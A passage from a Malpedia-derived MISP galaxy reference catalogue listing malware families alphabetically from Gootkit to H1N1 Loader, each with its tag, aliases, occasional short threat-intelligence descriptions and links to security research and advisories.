<td><a href="https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/">https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=242Tn0IL2jE">https://www.youtube.com/watch?v=242Tn0IL2jE</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/">https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/</a></td>
</tr>
<tr>
<td><a href="http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html">http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html</a></td>
</tr>
<tr>
<td><a href="https://dannyquist.github.io/gootkit-reversing-ghidra/">https://dannyquist.github.io/gootkit-reversing-ghidra/</a></td>
</tr>
<tr>
<td><a href="https://labs.sentinelone.com/gootkit-banking-trojan-deep-dive-anti-analysis-features/">https://labs.sentinelone.com/gootkit-banking-trojan-deep-dive-anti-analysis-features/</a></td>
</tr>
<tr>
<td><a href="https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps">https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/">https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/">https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/</a></td>
</tr>
<tr>
<td>Links</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://news.drweb.com/show/?i=4338&amp;lng=en">https://news.drweb.com/show/?i=4338&amp;lng=en</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA16-336A">https://www.us-cert.gov/ncas/alerts/TA16-336A</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/gootkit-the-cautious-trojan/102731/">https://securelist.com/gootkit-the-cautious-trojan/102731/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/jhencinski/status/1464268732096815105">https://twitter.com/jhencinski/status/1464268732096815105</a></td>
</tr>
<tr>
<td><a href="https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware">https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/">https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1366542130731094021">https://twitter.com/MsftSecIntel/status/1366542130731094021</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/">https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/</a></td>
</tr>
</tbody>
</table>

**Gophe**

The tag is: *misp-galaxy:malpedia="Gophe"*

Gophe is also known as:

**Table 3155. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gophe">https://malpedia.caad.fkie.fraunhofer.de/details/win.gophe</a></td>
</tr>
</tbody>
</table>

1330
Gopuram

The tag is: `misp-galaxy:malpedia="Gopuram"`

Gopuram is also known as:

*Table 3156. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gopuram">https://malpedia.caad.fkie.fraunhofer.de/details/win.gopuram</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/kucher1n/status/1642886340105601029?t=3GCn-ZhDjqWEMXya_PKseg">https://twitter.com/kucher1n/status/1642886340105601029?t=3GCn-ZhDjqWEMXya_PKseg</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344">https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344</a></td>
</tr>
</tbody>
</table>

GOTROJ

The tag is: `misp-galaxy:malpedia="GOTROJ"`

GOTROJ is also known as:

*Table 3157. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gotroj">https://malpedia.caad.fkie.fraunhofer.de/details/win.gotroj</a></td>
</tr>
</tbody>
</table>

GovRAT

The tag is: `misp-galaxy:malpedia="GovRAT"`

GovRAT is also known as:

*Table 3158. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat</a></td>
</tr>
</tbody>
</table>

Gozi


In 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed. It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed
code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.

In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinjext module.

The tag is: misp-galaxy:malpedia="Gozi"

Gozi is also known as:

- CRM
- Gozi CRM
- Papras
- Snifula
- Ursnif

Table 3159. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi">https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi</a></td>
</tr>
<tr>
<td><a href="http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html">http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=BcFbkjUVc70">https://www.youtube.com/watch?v=BcFbkjUVc70</a></td>
</tr>
<tr>
<td><a href="https://localhost.pl/gozi_tree.txt">https://localhost.pl/gozi_tree.txt</a></td>
</tr>
<tr>
<td><a href="https://kostas-ts.medium.com/ursnif-vs-italy-il-pdf-del-destino-5c83d6281072">https://kostas-ts.medium.com/ursnif-vs-italy-il-pdf-del-destino-5c83d6281072</a></td>
</tr>
<tr>
<td><a href="https://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/">https://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-swathmore">https://www.secureworks.com/research/threat-profiles/gold-swathmore</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/">https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/</a></td>
</tr>
<tr>
<td><a href="https://github.com/mlodic/ursnif_beacon_decryptor">https://github.com/mlodic/ursnif_beacon_decryptor</a></td>
</tr>
</tbody>
</table>
**GPCode**

The tag is: misp-galaxy:malpedia="GPCode"

GPCode is also known as:

*Table 3160. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode">https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode</a></td>
</tr>
<tr>
<td><a href="https://de.securelist.com/analysis/59479/erpresser/">https://de.securelist.com/analysis/59479/erpresser/</a></td>
</tr>
</tbody>
</table>

**GrabBot**

The tag is: misp-galaxy:malpedia="GrabBot"

GrabBot is also known as:

*Table 3161. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot</a></td>
</tr>
<tr>
<td><a href="http://blog.fortinet.com/2017/03/17/grabbot-is-back-to-nab-your-data">http://blog.fortinet.com/2017/03/17/grabbot-is-back-to-nab-your-data</a></td>
</tr>
</tbody>
</table>

**Graftor**

The tag is: misp-galaxy:malpedia="Graftor"

Graftor is also known as:

- MewsSpy
**Table 3162. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor">https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor</a></td>
</tr>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html">http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html</a></td>
</tr>
<tr>
<td><a href="https://malware.news/t/graftor-but-i-never-asked-for-this/14857">https://malware.news/t/graftor-but-i-never-asked-for-this/14857</a></td>
</tr>
<tr>
<td><a href="https://bin.re/blog/the-dga-of-symmi/">https://bin.re/blog/the-dga-of-symmi/</a></td>
</tr>
</tbody>
</table>

**GRAMDOOR**

The tag is: *misp-galaxy:malpedia="GRAMDOOR"*

GRAMDOOR is also known as:

- Small Sieve

**Table 3163. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gramdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.gramdoor</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html">https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/telegram-malware-iranian-espionage">https://www.mandiant.com/resources/telegram-malware-iranian-espionage</a></td>
</tr>
<tr>
<td><a href="https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611">https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611</a></td>
</tr>
</tbody>
</table>

**Grandoreiro**

According to ESET Research, Grandoreiro is a Latin American banking trojan targeting Brazil, Mexico, Spain and Peru. As such, it shows unusual effort by its authors to evade detection and emulation, and progress towards a modular architecture.

The tag is: *misp-galaxy:malpedia="Grandoreiro"*

Grandoreiro is also known as:

**Table 3164. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.grandoreiro">https://malpedia.caad.fkie.fraunhofer.de/details/win.grandoreiro</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/">https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/</a></td>
</tr>
<tr>
<td><a href="http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgs/conten">http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgs/conten</a> id/id/13552853</td>
</tr>
</tbody>
</table>
GrandSteal

The tag is: `misp-galaxy:malpedia="GrandSteal"`

GrandSteal is also known as:

<table>
<thead>
<tr>
<th>Table 3165. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.grandsteal">https://malpedia.caad.fkie.fraunhofer.de/details/win.grandsteal</a></td>
</tr>
</tbody>
</table>

GraphDrop

PANW Unit 42 describes this malware as capable of up and downloading files as well as loading additional shellcode payloads into selected target processes. It uses the Microsoft Graph API and Dropbox API as C&C channel.

The tag is: `misp-galaxy:malpedia="GraphDrop"`

GraphDrop is also known as:

- GraphicalProton
- SPICYBEAT

<table>
<thead>
<tr>
<th>Table 3166. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.graphdrop">https://malpedia.caad.fkie.fraunhofer.de/details/win.graphdrop</a></td>
</tr>
<tr>
<td><a href="https://www.avertium.com/resources/threat-reports/evolution-of-russian-apt29-new-attacks-and-techniques-uncovered">https://www.avertium.com/resources/threat-reports/evolution-of-russian-apt29-new-attacks-and-techniques-uncovered</a></td>
</tr>
</tbody>
</table>
GraphicalNeutrino

This loader abuses the benign service Notion for data exchange.

The tag is: `misp-galaxy:malpedia="GraphicalNeutrino"`

GraphicalNeutrino is also known as:

- SNOWYAMBER

Table 3167. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.graphical_neutrino">https://malpedia.caad.fkie.fraunhofer.de/details/win.graphical_neutrino</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2023-0727-1.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2023-0727-1.pdf</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf</a></td>
</tr>
</tbody>
</table>

Graphican

According to Symantec, Graphican is an evolution of the known APT15 backdoor Ketrican, which itself was based on a previous malware - BS2005 - also used by APT15. Graphican has the same basic functionality as Ketrican, with the difference between them being Graphican’s use of the Microsoft Graph API and OneDrive to obtain its command-and-control (C&C) infrastructure.

The tag is: `misp-galaxy:malpedia="Graphican"`

Graphican is also known as:

Table 3168. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.graphican">https://malpedia.caad.fkie.fraunhofer.de/details/win.graphican</a></td>
</tr>
</tbody>
</table>
Graphiron

Downloader / information stealer used by UAC-0056, observed since at least October 2022.

The tag is: misp-galaxy:malpedia="Graphiron"

Graphiron is also known as:

Table 3169. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.graphiron">https://malpedia.caad.fkie.fraunhofer.de/details/win.graphiron</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/the-growing-threat-from-infostealers">https://www.secureworks.com/research/the-growing-threat-from-infostealers</a></td>
</tr>
</tbody>
</table>

Graphite

Trellix describes Graphite as a malware using the Microsoft Graph API and OneDrive for C&C. It was found being deployed in-memory only and served as a downloader for Empire.

The tag is: misp-galaxy:malpedia="Graphite"

Graphite is also known as:

Table 3170. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite">https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite</a></td>
</tr>
</tbody>
</table>

Graphon

The tag is: misp-galaxy:malpedia="Graphon"

Graphon is also known as:

Table 3171. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.graphon">https://malpedia.caad.fkie.fraunhofer.de/details/win.graphon</a></td>
</tr>
</tbody>
</table>
**GraphSteel**

This malware was seen during the cyberattacks on Ukrainian state organizations. It is one of two used backdoors written in Go and attributed to UAC-0056 (SaintBear, UNC2589, TA471).

The tag is: `misp-galaxy:malpedia="GraphSteel"`

GraphSteel is also known as:

**Table 3172. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel">https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/spear-phish-ukrainian-entities">https://www.mandiant.com/resources/spear-phish-ukrainian-entities</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview">https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/the-growing-threat-from-infostealers">https://www.secureworks.com/research/the-growing-threat-from-infostealers</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/38374">https://cert.gov.ua/article/38374</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/">https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/</a></td>
</tr>
</tbody>
</table>

**Grateful POS**

POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked
to some of the high-profile merchant breaches in the past.

The tag is: misp-galaxy:malpedia="Grateful POS"

Grateful POS is also known as:

- FrameworkPOS
- SCRAPMINT
- trinity

Table 3173. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos">https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/frameworkpos-and-the-adequate-persistent-threat/">https://redcanary.com/blog/frameworkpos-and-the-adequate-persistent-threat/</a></td>
</tr>
<tr>
<td><a href="https://norfolkinfosec.com/pos-malware-used-at-fuel-pumps/">https://norfolkinfosec.com/pos-malware-used-at-fuel-pumps/</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/m-trends/rpt-m-trends-2020">https://content.fireeye.com/m-trends/rpt-m-trends-2020</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-franklin">http://www.secureworks.com/research/threat-profiles/gold-franklin</a></td>
</tr>
</tbody>
</table>

**Gratem**

The tag is: misp-galaxy:malpedia="Gratem"

Gratem is also known as:

Table 3174. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem">https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem</a></td>
</tr>
</tbody>
</table>

**Gravity RAT**

The tag is: misp-galaxy:malpedia="Gravity RAT"

Gravity RAT is also known as:
Table 3175. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/gravityrat-the-spy-returns/99097/">https://securelist.com/gravityrat-the-spy-returns/99097/</a></td>
</tr>
<tr>
<td><a href="https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/">https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/</a></td>
</tr>
</tbody>
</table>

**GREASE**

The tag is: *misp-galaxy:malpedia=*GREASE*

GREASE is also known as:

Table 3176. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.grease">https://malpedia.caad.fkie.fraunhofer.de/details/win.grease</a></td>
</tr>
<tr>
<td><a href="https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/">https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-301a">https://us-cert.cisa.gov/ncas/alerts/aa20-301a</a></td>
</tr>
</tbody>
</table>

**GreenShaitan**

The tag is: *misp-galaxy:malpedia=*GreenShaitan*

GreenShaitan is also known as:

• eoehttp

Table 3177. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan">https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan</a></td>
</tr>
<tr>
<td><a href="https://blog.cylance.com/spear-a-threat-actor-resurfaces">https://blog.cylance.com/spear-a-threat-actor-resurfaces</a></td>
</tr>
</tbody>
</table>

**GreetingGhoul**

The tag is: *misp-galaxy:malpedia=*GreetingGhoul*

GreetingGhoul is also known as:

Table 3178. Table References
GreyEnergy

The tag is: *misp-galaxy:malpedia=“GreyEnergy”*

GreyEnergy is also known as:

*Table 3179. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy">https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy</a></td>
</tr>
<tr>
<td><a href="https://www.nozominetworks.com/2019/02/12/blog/greyenergy-malware-research-paper-maldoc-to-backdoor/">https://www.nozominetworks.com/2019/02/12/blog/greyenergy-malware-research-paper-maldoc-to-backdoor/</a></td>
</tr>
<tr>
<td><a href="https://www.eset.com/int/greyenergy-exposed/">https://www.eset.com/int/greyenergy-exposed/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0034">https://attack.mitre.org/groups/G0034</a></td>
</tr>
<tr>
<td><a href="https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/">https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/</a></td>
</tr>
<tr>
<td><a href="https://github.com/NozomiNetworks/greyenergy-unpacker">https://github.com/NozomiNetworks/greyenergy-unpacker</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-viking">https://www.secureworks.com/research/threat-profiles/iron-viking</a></td>
</tr>
</tbody>
</table>

GRILLMARK

This is a proxy-aware HTTP backdoor that is implemented as a service and uses the compromised system’s proxy settings to access the internet. C&C traffic is base64 encoded and the files sent to the server are compressed with aPLib.

The tag is: *misp-galaxy:malpedia=“GRILLMARK”*

GRILLMARK is also known as:

- Hellsing Backdoor

*Table 3180. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.grillmark">https://malpedia.caad.fkie.fraunhofer.de/details/win.grillmark</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/m-trends/rpt-m-trends-2019">https://content.fireeye.com/m-trends/rpt-m-trends-2019</a></td>
</tr>
</tbody>
</table>
GRIMAGENT

GRIMAGENT is a backdoor that can execute arbitrary commands, download files, create and delete scheduled tasks, and execute programs via scheduled tasks or via the ShellExecute API. The malware persists via a randomly named scheduled task and a registry Run key. The backdoor communicates to hard-coded C&C servers via HTTP requests with portions of its network communications encrypted using both asymmetric and symmetric cryptography. GRIMAGENT was used during some Ryuk Ransomware intrusions in 2020.

The tag is: misp-galaxy:malpedia="GRIMAGENT"

GRIMAGENT is also known as:

Table 3181. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.grimagent">https://malpedia.caad.fkie.fraunhofer.de/details/win.grimagent</a></td>
</tr>
<tr>
<td><a href="https://gibn.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer">https://gibn.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets">https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/bryceabdo/status/1352359414746009608">https://twitter.com/bryceabdo/status/1352359414746009608</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/grimagent">https://blog.group-ib.com/grimagent</a></td>
</tr>
</tbody>
</table>

GrimPlant

This malware was seen during the cyberattacks on Ukrainian state organizations. It is one of two used backdoors written in Go and attributed to UAC-0056 (SaintBear, UNC2589, TA471).

The tag is: misp-galaxy:malpedia="GrimPlant"

GrimPlant is also known as:

Table 3182. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant">https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/spear-phish-ukrainian-entities">https://www.mandiant.com/resources/spear-phish-ukrainian-entities</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview">https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview</a></td>
</tr>
</tbody>
</table>
GROK

The tag is: `misp-galaxy:malpedia="GROK"`

GROK is also known as:

*Table 3183. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.grok">https://malpedia.caad.fkie.fraunhofer.de/details/win.grok</a></td>
</tr>
</tbody>
</table>

Growtopia

According to PCrisk, Growtopia (also known as CyberStealer) is an information stealer written in the C# programming language. It can obtain system information, steal information from various applications, and capture screenshots. Its developer claims that it has created this software for educational purposes only. This stealer uses the name of a legitimate online game.

The tag is: `misp-galaxy:malpedia="Growtopia"`

Growtopia is also known as:

*Table 3184. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.growtopia">https://malpedia.caad.fkie.fraunhofer.de/details/win.growtopia</a></td>
</tr>
<tr>
<td><a href="https://github.com/TheC0mpany/GrowtopiaStealer">https://github.com/TheC0mpany/GrowtopiaStealer</a></td>
</tr>
</tbody>
</table>
GRUNT

The tag is: misp-galaxy:malpedia="GRUNT"

GRUNT is also known as:

Table 3185. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.grunt">https://malpedia.caad.fkie.fraunhofer.de/details/win.grunt</a></td>
</tr>
<tr>
<td><a href="https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f">https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f</a></td>
</tr>
<tr>
<td><a href="https://www.telsy.com/download/5776/?uid=aca91e397e">https://www.telsy.com/download/5776/?uid=aca91e397e</a></td>
</tr>
<tr>
<td><a href="https://ti.qianxin.com/blog/articles/Suspected-Russian-speaking-attackers-use-COVID19-vaccine-decoys-against-Middle-East/">https://ti.qianxin.com/blog/articles/Suspected-Russian-speaking-attackers-use-COVID19-vaccine-decoys-against-Middle-East/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ItsReallyNick/status/1208141697282117633">https://twitter.com/ItsReallyNick/status/1208141697282117633</a></td>
</tr>
</tbody>
</table>

gsecdump

The tag is: misp-galaxy:malpedia="gsecdump"

gsecdump is also known as:

Table 3186. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump">https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/wiki/Technique/T1003">https://attack.mitre.org/wiki/Technique/T1003</a></td>
</tr>
</tbody>
</table>

GUP Proxy Tool

The tag is: misp-galaxy:malpedia="GUP Proxy Tool"

GUP Proxy Tool is also known as:

Table 3187. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gup_proxy">https://malpedia.caad.fkie.fraunhofer.de/details/win.gup_proxy</a></td>
</tr>
</tbody>
</table>

Gwisin

Ransomware.
The tag is: `misp-galaxy:malpedia="Gwisin"`

**Gwisin** is also known as:

**Table 3188. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.skshieldus.com/download/files/download.do?o_fname=%EA%B7%80%EC%8B%A0(Gwisin)%20%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4%20%EAC%B3%B5%EAB%A9%20%EC%A0%84%EB%9E%B5%20%EB%B6%84%EC%84%9D%20%EB%A6%AC%ED%8F%AC%ED%8A%B8.pdf&amp;r_fname=20220824150111854.pdf">https://www.skshieldus.com/download/files/download.do?o_fname=%EA%B7%80%EC%8B%A0(Gwisin)%20%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4%20%EAC%B3%B5%EAB%A9%20%EC%A0%84%EB%9E%B5%20%EB%B6%84%EC%84%9D%20%EB%A6%AC%ED%8F%AC%ED%8A%B8.pdf&amp;r_fname=20220824150111854.pdf</a></td>
</tr>
</tbody>
</table>

**H1N1 Loader**

The tag is: `misp-galaxy:malpedia="H1N1 Loader"`

**H1N1 Loader** is also known as:

**Table 3189. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
